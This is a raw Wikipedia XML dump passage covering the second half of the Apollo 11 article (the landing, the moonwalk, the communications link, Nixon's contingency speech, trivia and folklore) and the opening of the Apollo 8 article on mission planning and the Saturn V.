|'''Splashdown:'''||[[July 24]], [[1969]]&lt;br /&gt;16:50:35 UTC&lt;br /&gt;{{coor dm|13|19|N|169|9|W|}}
|-
|'''Time in&lt;br /&gt;lunar orbit:'''||59 h 30 min 25.79 s 
|-
|'''Mass:'''||''(see [[#Mission parameters|mission&lt;br /&gt;parameters]])''
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew Picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:ap11-s69-31740.jpg|center|225px|Apollo 11 crew portrait (L-R: Armstrong, Collins, and Aldrin)]]&lt;br&gt;&lt;small&gt;L-R: Armstrong, Collins, and Aldrin&lt;/small&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|''Apollo 11'' Crew
|}

{|align=right
|-
|[[Image:First step on moon.jpg|thumb|center|160px|Neil Armstrong takes first step onto the Moon]]
|-
|align=center width=160|'''''&quot;That's one small step for [a] man, one giant leap for mankind.&quot;'''''&lt;br&gt;-Neil Armstrong
|}

'''''Apollo 11''''' was an [[United States|American]] space mission, part of the [[Project Apollo|Apollo program]] and the first manned mission to land on the [[Moon]]. It launched on [[July 16]], [[1969]]. On [[July 20]], mission commander [[Neil Armstrong]] and pilot [[Buzz Aldrin|Edwin 'Buzz' Aldrin]] became the first humans to set foot on the Moon.

==Crew==
*[[Neil Armstrong]] (flew in ''[[Gemini 8]]'' &amp; ''Apollo 11''), commander
*[[Edwin Aldrin|Edwin 'Buzz' Aldrin]] (flew in ''[[Gemini 12]]'' &amp; ''Apollo 11''), lunar module pilot
*[[Michael Collins (astronaut)|Michael Collins]] (flew in ''[[Gemini 10]]'' &amp; ''Apollo 11''), command module pilot

===Backup crew===
*[[Jim Lovell|James Lovell]] (flew in ''[[Gemini 7]]'', ''[[Gemini 12]]'', ''[[Apollo 8]]'', ''[[Apollo 13]]''), commander
*[[Fred Haise]] (flew in ''[[Apollo 13]]''), lunar module pilot
*[[Bill Anders]]  (flew in ''[[Apollo 8]]''), command module pilot

===Support crew===
*[[Ron Evans]] (flew in ''[[Apollo 17]]'')
*[[Ken Mattingly]] (flew in ''[[Apollo 16]]'', ''[[STS-4]]'', ''[[STS-51-C]]'')
*[[Jack Swigert]] (flew in ''[[Apollo 13]]'')
*[[William Pogue|Bill Pogue]] (flew in ''[[Skylab 4]]'')

==Mission highlights==
===Launch and lunar landing===
The ''Apollo 11'' mission launched from the 
[[Kennedy Space Center]] on [[July 16]], [[1969]] at 13:32 UTC (9:32 A.M. local time) and entered Earth orbit 12 minutes later. After one and a half orbits, the third-stage engine pushed the spacecraft onto its trajectory toward the Moon. About 30 minutes later, the command/service module pair separated from the last remaining Saturn V stage, turned around, and docked its nose to the top of the lunar module still nestled in the [[Apollo spacecraft#Spacecraft Lunar Module Adapter .28SLA.29|Lunar Module Adaptor]] 

''Apollo 11'' passed behind the Moon on [[July 19]] and soon after fired its main rocket, entering into lunar orbit. In the several orbits that followed, the crew got passing views of their landing site.

The first ''Apollo'' landing site, in the southern [[Mare Tranquilitatis|Sea of Tranquility]] about 20 km (12 mi) southwest of the crater Sabine D, was selected in part because it had been characterized as relatively flat and smooth by the automated ''[[Ranger 8]]'' and ''[[Surveyor 5]]'' landers, as well as by ''[[Lunar Orbiter]]'' mapping spacecraft, and therefore unlikely to present major landing or [[Extra-vehicular activity|Extra-vehicular activity (EVA)]] challenges. Armstrong bestowed the name [[Tranquillity Base]] on the landing site immediately after touchdown.

[[Image:Apollo 11 bootprint.jpg|thumb|233px|left|Buzz Aldrin bootprint. It was part of an experiment to test the properties of the lunar [[regolith]].]]

On [[July 20]], [[1969]], while on the [[Far side (Moon)|far side]] of the Moon, the [[Apollo Lunar Module|lunar module]], called ''Eagle'', separated from the Command Module, named ''Columbia''.  Collins, now alone aboard ''Columbia'', carefully inspected ''Eagle'' as it pirouetted before him.  Soon after, Armstrong and Aldrin fired ''Eagle'''s engine and began their descent.  They soon saw that they were &quot;running long&quot;; ''Eagle'' was 4 seconds further along its descent trajectory than planned, and would land miles west of the intended site.  The [[Apollo Guidance Computer|LM navigation and guidance computer]] reported several unusual &quot;program alarms&quot; as it guided the LM's descent.  These alarms tore the crew's attention away from the scene outside as the descent proceeded.  In NASA's Mission Control Center in Houston, Texas, a young [[Flight controller| controller]] named Steve Bales told the [[Flight controller| flight director]] that it was safe to continue the descent in spite of the alarms.  Once they returned their attention to the view outside, the astronauts saw that their computer was guiding them toward a landing site full of large rocks scattered around a large crater. Armstrong took manual control of the lunar module at that point, and guided it to a landing at 20:17 UTC on [[July 20]] with about 30 seconds' worth of fuel left[http://www.hq.nasa.gov/alsj/a11/a11.landing.html]. 

[[Image:ap11-KSC-69PC-442.jpg|thumb|right|200px|The [[Saturn V]] carrying ''Apollo 11'' took several seconds to clear the tower on [[July 16]], [[1969]].]]

The program alarms were &quot;executive overflows&quot;, indicating that the computer could not finish its work in the time allotted.  The cause was later determined to be the LM rendezvous radar being left on during the descent, causing the computer to spend unplanned time servicing the unused radar.  Steve Bales received a [[Medal of Freedom]] for his &quot;go&quot; call under pressure. Although Apollo 11 landed with less fuel than other missions, they also encountered a premature low fuel warning. It was later found caused by the lunar gravity permitting greater propellant 'slosh', uncovering a fuel sensor; extra baffles in the tanks were subsequently added.

At 2:56 UTC on [[July 21]], six and a half hours after landing, Armstrong made his descent to the Moon surface and took his famous &quot;one giant leap for mankind.&quot;  Aldrin joined him, and the two spent two-and-a-half hours drilling core samples, photographing what they saw and collecting rocks. 

{{video|filename=A11v 1094228.ogg|title=Buzz Aldrin steps onto the Moon|description=|format=[[Ogg]]}}

They planned placement of the Early Apollo Scientific Experiment Package (EASEP) and the U.S. flag by studying their landing site through ''Eagle'''s twin triangular windows, which gave them a 60° field of view. Preparation
required longer than the two hours scheduled. Armstrong had some initial difficulties squeezing through the hatch with his [[Portable Life Support System|PLSS]]. According to veteran moonwalker [[John W. Young|John Young]], a redesign of the [[Apollo Lunar Module|LM]] to incorporate a smaller hatch was not followed by a redesign of the PLSS backpack, so some of the highest heart rates recorded from ''Apollo'' astronauts occurred during LM egress and ingress.

[[Image:As11-40-5903HR.jpg|thumb|right|275px|[[Buzz Aldrin]] poses on the [[Moon]] allowing [[Neil Armstrong]] to photograph both of them using the visor's reflection.]]

The Remote Control Unit controls on Armstrong's chest prevented him from seeing his feet. While climbing down the nine-rung ladder, Armstrong pulled a D-ring to deploy the Modular Equipment Stowage Assembly (MESA) folded against ''Eagle'''s side and activate the TV camera. The first images used a [[Slow-scan television]] system and were picked up at [[Goldstone Deep Space Communications Complex|Goldstone]] in the USA but with better fidelity by [[Honeysuckle Creek]] in Australia. Minutes later the TV was switched to normal television, and the feed was switched to the more sensitive [[radio telescope]] station at the [[Parkes Observatory]] in [[Australia]]. Despite some technical and weather difficulties, ghostly black and white images of the first lunar EVA were received and were immediately broadcast to at least 600 million people on Earth. 

After describing the surface (&quot;very fine grained... almost like a powder&quot;), Armstrong stepped off ''Eagle'''s footpad and into history as the first human to set foot on another world. He reported that moving in the Moon's gravity, one-sixth of Earth's, was &quot;perhaps even easier than the simulations.&quot;

In addition to fulfilling President [[John F. Kennedy]]'s mandate to land a man on the Moon before the end of the 1960s, ''Apollo 11'' was an engineering test of the Apollo system; therefore, Armstrong snapped photos of the LM so engineers would be able to judge its post-landing condition. He then collected a contingency soil sample using a sample bag on a stick. He folded the bag and tucked it into a pocket on his right thigh. He removed the TV camera from the MESA, made a panoramic sweep, and mounted it on a tripod 12 m (40 ft) from the LM. The TV camera cable remained partly coiled and presented a tripping hazard throughout the EVA. 

[[Image:Apollo 11 plaque closeup on Moon.jpg|right|thumb|Photo of the actual plaque left on the moon (attached to the ladder of the LM Descent Stage).]]

Aldrin joined him on the surface and tested methods for moving around, including two-footed kangaroo hops. The PLSS backpack created a tendency to tip backwards, but neither astronaut had serious problems maintaining balance. Loping became the preferred method of movement. The astronauts reported that they needed to plan their movements six or seven steps ahead. The fine soil was quite slippery. Aldrin remarked that moving from sunlight into ''Eagle'''s shadow produced no temperature change inside the suit, though the helmet was warmer in sunlight, so he felt cooler in shadow. 

[[Image:Apollo 11 launch.jpg|thumb|left|180px|A visible shockwave formed as the [[Saturn V]] encountered Maximum Dynamic Pressure (Max Q) at about 1 minute 20 seconds into the flight (altitude 12.5 km, 4 km downrange, velocity 440m/s).]]

Together the astronauts planted the U.S. flag, then took a phone call from President [[Richard Nixon]]. 

The MESA failed to provide a stable work platform and was in shadow, slowing work somewhat. As they worked, the moonwalkers kicked up gray dust which soiled the outer part of their suits, the integrated thermal meteoroid garment.

They deployed the EASEP, which included a passive seismograph and a laser ranging retroreflector. Then Armstrong loped about 120 m (400 ft) from the LM to snap photos at the rim of East Crater while Aldrin collected two core tubes. He used the geological hammer to pound in the tubes - the only time the hammer was used on ''Apollo 11''. The astronauts then collected rock samples using scoops and tongs on extension handles. Many of the surface activities took longer than expected, so they had to stop documented sample collection halfway through the allotted 34 min. 

[[image:as11-40-5886.jpg|thumb|right|300px|Neil Armstrong works at the LM in one of the few photos taken of him from the lunar surface. NASA photo as11-40-5886]]

During this period Mission Control used a coded phrase to warn Armstrong that his metabolic rates were high and that he should slow down. He was moving rapidly from task to task as time ran out. Rates remained generally lower than expected for both astronauts throughout the walk, however, so Mission Control granted the astronauts a 15-minute extension.

===Lunar ascent and return===
Aldrin entered ''Eagle'' first. With some difficulty the astronauts lifted film and two sample boxes containing more than 22 kg (48 lb) of lunar surface material to the LM hatch using a flat cable pulley device called the Lunar Equipment Conveyor. Armstrong then jumped to the ladder's third rung and climbed into the LM. 

After transferring to LM [[life support]], the explorers lightened the ascent stage for return to lunar orbit by tossing out their PLSS backpacks, lunar overshoes, one [[Hasselblad]] camera, and other equipment. Then they lifted off in ''Eagle''&lt;nowiki&gt;'&lt;/nowiki&gt;s ascent stage to rejoin CMP Michael Collins aboard ''Columbia'' in lunar orbit.  ''Eagle'' was jettisoned and left in lunar orbit. Later NASA reports mentioned that ''Eagle''&lt;nowiki&gt;'&lt;/nowiki&gt;s orbit had decayed resulting in it impacting in an &quot;uncertain location&quot; on the lunar surface.

After more than 2&amp;frac12; hours on the lunar surface, they returned to Collins on board ''Columbia'', bringing 20.87 kilograms of lunar samples with them. The two Moon-walkers had left behind scientific instruments such as a [[retroreflector]] array used for the [[Lunar Laser Ranging Experiment]].  They also left an [[Flag of the United States|American flag]] and other mementos, including a [[lunar plaques|plaque]] (mounted on the LM Descent Stage ladder) bearing two drawings of Earth (of the Western and Eastern Hemispheres), an inscription, and signatures of the astronauts and [[Richard Nixon]].  The inscription read:

:''Here Men From Planet Earth&lt;br&gt;First Set Foot Upon the Moon&lt;br&gt;July 1969 A.D.&lt;br&gt;We Came in Peace For All Mankind.''

The astronauts returned to earth on [[July 24]], welcomed as [[hero]]es. The splashdown point was {{coor dm|13|19|N|169|9|W|}}, 2,660 km (1,440 [[nautical mile|nm]]) east of [[Wake Island]], or 380 km (210 nm) south of [[Johnston Atoll]], and 24 km (15 [[statute mile|mi]]) from the recovery ship, [[USS Hornet (CV-12)|''USS Hornet'']].   

The command module is displayed at the [[National Air and Space Museum]], [[Washington, D.C.]]

[[Image:Apollo 11 crew in quarantine.jpg|thumb|right|200px|The crew of Apollo 11 in [[quarantine]] after returing to earth, visited by [[Richard Nixon]].]]

==Contingency television address==
The [[National Archives and Records Administration|National Archives]] in Washington, D.C. has a copy of the following contingency memo titled &quot;In Event of Moon Disaster&quot; and  dated [[July 18]], [[1969]], which was prepared by [[William Safire]] for President Nixon to read on television, in the event the ''Apollo 11'' astronauts were stranded on the Moon.

:''&quot;Fate has ordained that the men who went to the Moon to explore in peace will stay on the Moon to rest in peace. These brave men, Neil Armstrong and Edwin Aldrin, know that there is no hope for their recovery. But they also know that there is hope for mankind in their sacrifice.''

:''These two men are laying down their lives in mankind's most noble goal: the search for truth and understanding. They will be mourned by their families and friends; they will be mourned by their nation; they will be mourned by the people of the world; they will be mourned by a Mother Earth that dared send two of her sons into the unknown.''

:''In their exploration, they stirred the people of the world to feel as one; in their sacrifice, they bind more tightly the brotherhood of man. In ancient days, men looked at stars and saw their heroes in the constellations. In modern times, we do much the same, but our heroes are epic men of flesh and blood.''

:''Others will follow, and surely find their way home. Man's search will not be denied. But these men were the first, and they will remain the foremost in our hearts.''

[[Image:Armstrong_16mm.jpg |thumb|right|250px|Armstrong on lunar surface with gold visor raised. From [[16 mm]] film (NASA).]]

:''For every human being who looks up at the Moon in the nights to come will know that there is some corner of another world that is forever mankind.&quot;''

The last line of the statement is reminiscent of a [[Rupert Brooke]] poem called &quot;The Soldier&quot;. The poem starts:

:''If I should die, think only this of me:&lt;br&gt;That there's some corner of a foreign field&lt;br&gt;That is forever England.'' 

Following this address, radio communications with the moon would have been cut off, the astronauts left alone to die, while a clergyman was to commend their souls to &quot;the deepest of the deep&quot; in the fashion of a burial at sea. 

==Gallery==
&lt;gallery&gt;
Image:Apollo11.png|Aldrin stands next to the Passive Seismic Experiment Package with the [[Lunar Module]] in the background.
Image:Aldrin near Module leg.jpg|Aldrin inspects the LM landing gear.
Image:Apollo11.1000.jpg|Aldrin unpacks experiments from the LM.
Image:Buzz Aldrin with U.S. flag.jpg|Aldrin with the U.S. flag
Image:23_A11east.jpg|Panoramic Assembly of East Crater
&lt;/gallery&gt;

==Communications link==
Early in the planning of the [[Project Apollo]], NASA decided to combine all communications between spacecraft and Earth into a single multiplexed feed called 'The Unified S-Band System', including audio communications, television images, crew medical telemetry and the spacecraft systems telemetry.

The signal was picked up by three purpose-built stations (Goldstone (California), Honeysuckle Creek (Australia) and Fresnedillas (Spain) and backed-up by deep space network stations (known as 'wing stations') in Australia, Spain and the United States. At first, the signal was routed to Greenbelt, Maryland, by way of submarine telephone cables, using twelve voice circuits. The signal was divided into twelve parts using inverse multiplexing, sent onto the circuits, and reintegrated in Maryland, before being sent on to NASA in Houston.

Intelsat satellites began taking over the trans-oceanic transmissions toward the end of the 1960s, and NASA ended its contracts for the submarine telephone circuits, which were then reallocated by telephone administrations for normal voice use.

On [[14 July]] [[1969]], the Intelsat satellite over the Atlantic failed. A replacement was launched on 16 July, but went into a useless orbit and would not be reoriented in time to be used. The [[Early Bird]] satellite was activated, but thought it might not have enough power to get a signal to the United States. The Australia station was vital to picking up the signal during the moonwalks, or keeping the astronauts waiting on the moon eight hours before venturing out. A communications team was dispatched to Spain to begin setting up the telephone circuits for NASA's inverse multiplexed signal.

European telecommunications administrators, mostly government post offices, were not accustomed to doing the business required: they would normally require telegram messages to be exchanged, with top level administrative approval, but the twelve circuits had to be recovered from six countries to be made available to NASA, which had set a time limit two hours before launch, or the launch would be canceled. It would be the last ideal launch window before 1970. Other launch windows had been missed due to spacecraft equipment problems. An official with the Spanish communications authority helped the team secure the circuits with his own personal list of contacts.

The last circuit using inverse multiplexing was accepted by NASA just minutes before the time limit. Three days later, the transmissions from the Moon were picked up in Spain, relayed to the United States over the undersea circuits, and made available by NASA to the Americas. They were beamed across the Pacific Ocean, and from the Far East were carried on the Indian Ocean satellite.

The postal/telephone authority in West Germany turned a large radio dish to aim at the Indian Ocean satellite, picking up the signal from Australia and providing it to Western Europe, therefore, viewers in Western Europe saw Neil Armstrong set foot on the moon a full half second later than those in the United States, and some 1.8 seconds after it actually happened.

Had this vital communications link not been restored, the pledge of President [[John F. Kennedy]] to land a man on the moon by the end of the decade would have been missed.

==Mission trivia and urban legends==
===Trivia===
* Some internal NASA planning documents referred to the callsigns of the [[Apollo Command/Service Module|CSM]] and [[Apollo Lunar Module|LM]] as &quot;Snowcone&quot; and &quot;Haystack&quot;; these were quietly changed before being announced to the press.
* Shortly after landing, before preparations have begun for the [[Extra-vehicular activity|EVA]], Aldrin broadcast that -
::''This is the LM pilot. I'd like to take this opportunity to ask every person listening in, whoever and wherever they may be, to pause for a moment and contemplate the events of the past few hours and to give thanks in his or her own way.''
:He then took [[Eucharist|Holy Communion]], privately. At this time, NASA was still fighting a lawsuit brought by [[Madalyn Murray O'Hair]] (who had objected to the ''[[Apollo 8]]'' crew reading from the [[Genesis (Old Testament)|Book of Genesis]]), which demanded that their astronauts refrain from religious activities while in space. As such, Aldrin (an [[Episcopalian]]) chose to refrain from directly mentioning this. He had kept the plan quiet, not even mentioning it to his wife, and did not reveal it publicly for several years.
* Several books indicate that early mission timelines had Buzz Aldrin, not Neil Armstrong, as the first man on the Moon.
* A replica of the footprint left by Neil Armstrong is located in Tranquility Park in [[Houston, Texas]]; the park was dedicated in 1979, a decade after the first moon landing.
* The [[Australia]]n movie, ''[[The Dish]]'' (2000), tells the (slightly fictionalised) story of how the images of the moon-walk were received by the [[radio telescope]] at [[Parkes Observatory]], [[New South Wales]].
* According to the [[HBO]] [[mini-series]] ''[[From the Earth to the Moon (HBO)|From the Earth to the Moon]]'', [[Michael Collins (astronaut)|Michael Collins]] made the following suggestion as to what Armstrong should say upon stepping onto the lunar surface: &quot;If you had any balls, you'd say 'Oh, my God, what is [[extraterrestrial life|that thing]]?' then scream and cut your [[microphone|mic]].&quot;
* Armstrong claims to have said &quot;That's one small step for ''a'' man, one giant leap for mankind.&quot;, although the &quot;''a''&quot; is not at all clear in recordings made at ground control. It has been pointed out that the audio and video links were somewhat intermittent (partly due to storms near [[Parkes Observatory]]). Recently, digital analysis of the tape by NASA revealed the &quot;a&quot; may have been spoken, but obscured by static.[http://www.straightdope.com/classics/a3_362]

===Folklore===
*At some point while on the moon Armstrong supposedly said &quot;Good luck Mr. Gorski&quot;.  Some years later Gorski died, so he felt he could now explain this remark.  As a boy, he heard a couple next door arguing, and the wife said: &quot;Oral sex?  Is it oral sex you want?  You'll get oral sex when the kid next door walks on the moon, Mr. Gorski!&quot;  This story is untrue. [http://www.snopes.com/quotes/mrgorsky.htm]
* Neil Armstrong apparently took a [[tartan]] where no tartan had been worn before. A tiny swatch of the [[Scottish clan|Clan]] Armstrong plaid was affixed to his suit when he walked on the Moon. Another item that Armstrong took with him was a special diamond-studded [[astronaut pin]] which was given to [[Deke Slayton]] by the widows of the ''[[Apollo 1]]'' crew.  The pin had been intended to be flown in ''Apollo 1'', then given to Deke after the mission, but due to the disaster, the widows ended up giving the pin to him after the funerals.  Deke gave the pin to Neil to leave at Tranquility Base.  
* Two main [[Conspiracy theory|conspiracy theories]] surround the mission.
** Firstly that the [[Apollo moon landing hoax accusations|landing was a hoax]]. This is generally discounted, although it has slowly grown in popularity, particularly since the release of the movie ''[[Capricorn One]]'' (1978), which portrays a NASA attempt to fake a landing on Mars.
** Secondly, a less well known [[urban legend]] suggests that they were being 'watched' while on the Moon, and had seen alien vehicles there. This grew in popularity after the book ''Someone else is on our Moon'' was published.
*According to another legend, a survey undertaken in the 1980s in [[Morocco]] revealed that a substantial percentage didn't think man had landed on the Moon; this was not due to conspiracy theory, but rather to that segment not having been informed.

==See also==
{{commons|Apollo 11}}

* [[Extra-vehicular activity]]
* [[List of spacewalks]]
* [[Splashdown]]
* [[List of artificial objects on the Moon]]
* [[Google Moon]]

==External links==
* [http://www.hq.nasa.gov/alsj/frame.html NASA: ''Apollo'' Lunar Surface Journal]
*[http://www.astronautix.com/flights/apollo11.htm ''Apollo 11'' entry in Encyclopedia Astronautica]
* [[USGS]]: [http://astrogeology.usgs.gov/Projects/LunarAtlas/maps/ ''Apollo'' Mission Traverse Maps]
* [http://www.abc.net.au/science/moon/computer.htm Description of The Lunar Module Computer]
* [http://history.nasa.gov/ap11ann/ap11events.html Record of Lunar Events]
* [http://www.CompleatHeretic.com/pubs/columns/apollo11.html First moon landing in 1969 marked an entire generation]
* [http://sourceforge.net/projects/nassp/ ''Apollo'' simulation for Orbiter spaceflight sim]

===References===
* {{cite web | url = http://history.nasa.gov/SP-4029/Apollo_00a_Cover.htm | title = ''Apollo'' by the Numbers: A Statistical Reference | author = Richard W. Orloff | publisher = NASA }}
* {{cite web | url = http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm | title = The ''Apollo'' Spacecraft: A Chronology }}
* {{cite web | url = http://history.nasa.gov/apsr/apsr.htm | title = ''Apollo'' Program Summary Report }}
* {{cite web | url = http://history.nasa.gov/SP-4012/vol3/table2.39.htm | title = ''Apollo 11'' Characteristics | work = SP-4012 NASA Historical Data Book }}
* {{cite web | url = http://moonpans.co.uk/missions.htm | title = ''Apollo'' Assembled Panoramas }}
* {{cite web | url = http://www.apolloarchive.com/ | title = ''Apollo'' Image Gallery }}
* {{snopes | link = http://www.snopes.com/quotes/onesmall.asp | title = One Small Step }}, discussing (mis-)quote
* {{cite web | url = http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19710015566_1971015566.pdf | title = ''Apollo 11'' Mission Report | format = PDF }}
* {{cite web | author=Office of Public Affairs, NASA | url=http://history.nasa.gov/ap11-35ann/apollo11_log/log.htm | title=EP-72 Log of ''Apollo 11'' | publisher=NASA History Office | accessdate=2006-01-16 }}
* {{cite web | url = http://moon.google.com/ | title = Google Moon }} Lunar Landing Sites - in honor of the first manned Moon landing

{{Project Apollo| before=''[[Apollo 10]]''| after=''[[Apollo 12]]''}}

[[Category:Apollo program]]
[[Category:Human spaceflights]]
[[Category:Lunar spacecraft]]
[[Category:1969]]

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  </page>
  <page>
    <title>Apollo 8</title>
    <id>663</id>
    <revision>
      <id>41819462</id>
      <timestamp>2006-03-01T23:21:08Z</timestamp>
      <contributor>
        <username>Tianxiaozhang</username>
        <id>557868</id>
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      <minor />
      <text xml:space="preserve">{| class=&quot;infobox&quot; style=&quot;font-size: 95%; width: 20em;&quot;
|+style=&quot;font-size: larger;&quot; | '''''Apollo 8'''''
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission insignia
|-
|colspan=&quot;2&quot; style=&quot;font-size: smaller; text-align: center;&quot;| [[Image:Apollo-8-patch.jpg|center|200px]]
|-
!colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission statistics
|-
|'''Mission name:'''||Apollo 8
|-
|'''Call sign:'''||Command module:&lt;br /&gt;''Apollo 8''
|-
|'''Number of crew:'''||3
|-
|'''Launch:'''||[[December 21]], [[1968]]&lt;br /&gt;12:51:00 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 39A
|-
|'''Lunar orbit:'''||Dec 24 09:59:20 UTC –&lt;br /&gt;Dec 25 06:10:16 UTC
|-
|'''Splashdown:'''||[[December 27]], [[1968]]&lt;br /&gt;15:51:42 UTC&lt;br /&gt; {{coor dm|8|6|N|165|1|W|}}
|-
|'''Duration:'''||6 d 3 h 0 min 42 s
|-
|'''Number of lunar orbits:'''||10
|-
|'''Time in lunar orbit:'''||20 h 10 min 13.0 s 
|-
|'''Mass:'''||CSM 28,817 kg;&lt;br /&gt;LTA 9,026 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Ap8-s68-50265HR.jpg|275px|Apollo 8 crew portrait (L-R: Lovell, Anders and Borman)]]&lt;br&gt;&lt;small&gt;''Apollo 8'' crew portrait &lt;br/&gt;(L-R: Lovell, Anders and Borman)&lt;/small&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 8 crew
|}
'''''Apollo 8''''' was the second [[Human spaceflight|manned mission]] of the [[Project Apollo|Apollo space program]],  in which Commander [[Frank Borman]], Command Module Pilot [[Jim Lovell|James Lovell]] and Lunar Module Pilot [[William Anders]] became the first humans to leave [[Low Earth orbit|Earth orbit]] and to orbit around the [[Moon]]. It was also the first manned launch of the [[Saturn V]] [[rocket]].

NASA prepared for the mission in only four months. The hardware involved had only been used a few times—the Saturn V had launched only twice before, and the Apollo spacecraft had only just finished its first manned mission, ''[[Apollo 7]]''. However, the success of the mission paved the way for the successful completion of [[John F. Kennedy]]'s goal of landing on the Moon before the end of the decade.

After launching on [[December 21]], [[1968]], the crew took three days to travel to the Moon, which they orbited for 20 hours. While in lunar orbit they made a [[Christmas Eve]] television broadcast. This was one of the most watched broadcasts of all time.

==Planning==
On [[December 22]], [[1966]], [[NASA]] announced the crew for the third manned Apollo flight: Frank Borman, [[Michael Collins (astronaut)|Michael Collins]] and Bill Anders. Collins was replaced by his backup Jim Lovell, in July 1968, after Collins had to have surgery as he was suffering cervical intervertebral disc herniation — an [[intervertebral disc]] had slipped into the [[spinal cavity]] and required two [[vertebra]]e to be fused together. Collins recovered and went on to be the Command Module Pilot for ''[[Apollo 11]]''.

In September 1967, the [[Lyndon B. Johnson Space Center|Manned Spacecraft Center]] in [[Houston, Texas]], proposed a series of missions that would lead up to a manned lunar landing. Seven mission types were outlined, each testing a specific set of components and tasks; each previous step needed to be completed successfully before the next mission type could be undertaken. These were:

'''A''' - Unmanned [[Apollo Command/Service Module|Command/Service Module]] (CSM) test&lt;/br&gt;
'''B''' - Unmanned [[Apollo Lunar Module|Lunar Module]] (LM) test&lt;/br&gt;
'''C''' - Manned CSM in [[low Earth orbit]]&lt;/br&gt;
'''D''' - Manned CSM and LM in low Earth orbit&lt;/br&gt;
'''E''' - Manned CSM and LM in an [[ellipse|elliptical]] Earth orbit with an apogee of 4600&amp;nbsp;mi (7400&amp;nbsp;km)&lt;/br&gt;
'''F''' - Manned CSM and LM in lunar orbit&lt;/br&gt;
'''G''' - Manned lunar landing

Of all the components of the Apollo system, the [[Apollo Lunar Module|Lunar Module]] (LM), which would eventually be used to land on the Moon, presented the most problems. It was behind schedule and when the first model was shipped to [[Cape Canaveral]] in June 1968, over 101 separate defects were discovered. [[Grumman Aircraft Engineering Corporation]], which was the lead contractor for the LM, predicted that the first mannable LM, to be used for the D mission, would not be ready until at least February 1969, delaying the entire sequence.

[[Image:Apollo-linedrawing.png|thumb|Apollo CSM diagram (NASA)]]
[[George Low]], the Manager of the Apollo Spacecraft Program Office, proposed a solution in August. Since the [[Apollo Command/Service Module|Command/Service Module]] (CSM) would be ready three months before the Lunar Module, they could fly a CSM-only mission in [[December]] [[1968]]. But instead of just repeating the flight of ''[[Apollo 7]]'', the C mission that would fly the CSM in Earth orbit, they could send the CSM all the way to the Moon and maybe even enter into orbit. This mission was dubbed the &quot;C-Prime&quot; mission. This new mission would allow [[NASA]] to test procedures that would be used on the manned lunar landings that would otherwise have to wait until ''[[Apollo 10]]'', the F mission. There were also concerns from the [[CIA]] that the [[Soviets]] were planning their own circumlunar flight for December to upstage the Americans once again (see [[Zond]] program).

[[Image:Ap8-68-HC-70.jpg|thumb|200px|left|The first stage of AS-503 being erected in the VAB on [[February 1]], [[1968]].]]
Almost every senior manager at NASA agreed with this new mission. The only person who needed some convincing was [[James E. Webb]], the NASA administrator. However, outvoted by the rest of the agency, he gave his approval. After leading the agency for eight years, he would resign just four days before the launch of ''Apollo 7'', the first manned Apollo flight.

[[Deke Slayton]], the Director of Flight Crew Operations, decided to swap the crews of the D and E missions. [[James McDivitt]], the original commander of the D mission, has said he was never offered the circumlunar flight but would probably have turned it down, as he wanted to fly the lunar module. Borman, on the other hand, jumped at the chance: his original mission would just have been a repeat of the previous flight, except in a higher orbit. This swap also meant a swap of spacecraft — Borman's crew would now use CSM-103, while McDivitt's crew would use CSM-104.

In the end, the E mission was canceled as most its objectives had been covered by the ''Apollo 8'' and ''Apollo 9'' flights. Mission managers were also confident that ''[[Apollo 10]]'' would also cover the remaining objectives with its lunar orbit flight.

On [[September 9]], the crew entered the [[Space flight simulator|simulators]] to begin their preparation for the flight. By the time the mission flew, the crew would have spent seven hours training for every actual hour of flight. Although all crew members were trained for all aspects of the mission, it was necessary to specialize. Borman, as commander, was given training on controlling the spacecraft during the [[Atmospheric reentry|re-entry]]. Lovell was trained on [[Celestial navigation|navigating]] the spacecraft in case communication was lost with the Earth. Anders was placed in charge of checking the spacecraft was in working order.

It was not until [[November 12]] that a public announcement was made about the change of mission for ''Apollo 8''. Previous to this [[Thomas O. Paine]], the deputy Administrator of NASA, had made a fleeting remark that all options were being considered.

Borman's main concern during the four months leading up to the launch was keeping the flight plan as simple as possible, not accepting any addition that went beyond the simple objectives of performing the first manned Saturn V launch, going to the Moon and orbiting it. He made sure that they stayed in lunar orbit only as long as necessary — 10 orbits.

The crew, now living in the crew quarters at [[Kennedy Space Center]], received a visit from [[Charles Lindbergh]] the night before the launch. They talked about how before his flight, Lindbergh had used a piece of string to measure the distance from [[New York]] to [[Paris]] on a globe and from that calculated the fuel needed for the flight. The total was a tenth of the amount that the Saturn V would burn every second.

==The Saturn V==
{{main|Saturn V}}
[[Image:Ap8-KSC-68PC-147.jpg|thumb|300px|The ''Apollo 8'' Saturn V being rolled out to [[Pad 39A]].]]
The Saturn V rocket used by ''Apollo 8'' was designated SA-503, the third flight model. When it was erected in the [[Vertical Assembly Building]] &lt;!-- Editor's Note: At that time it was called the Vertical Assembly Building --&gt;on [[20 December]], [[1967]], it was thought that the rocket would be used for an unmanned test flight carrying a [[boilerplate]] Command/Service Module. Although ''[[Apollo 6]]'' had suffered several major problems (it suffered severe [[pogo oscillation]] during its first stage and two second stage engines shutdown early), [[Marshall Space Flight Center]], in charge of the Saturn V, was confident that it could solve all the issues without the need for another unmanned test flight. The SA-503 mission was thus changed to a manned one.

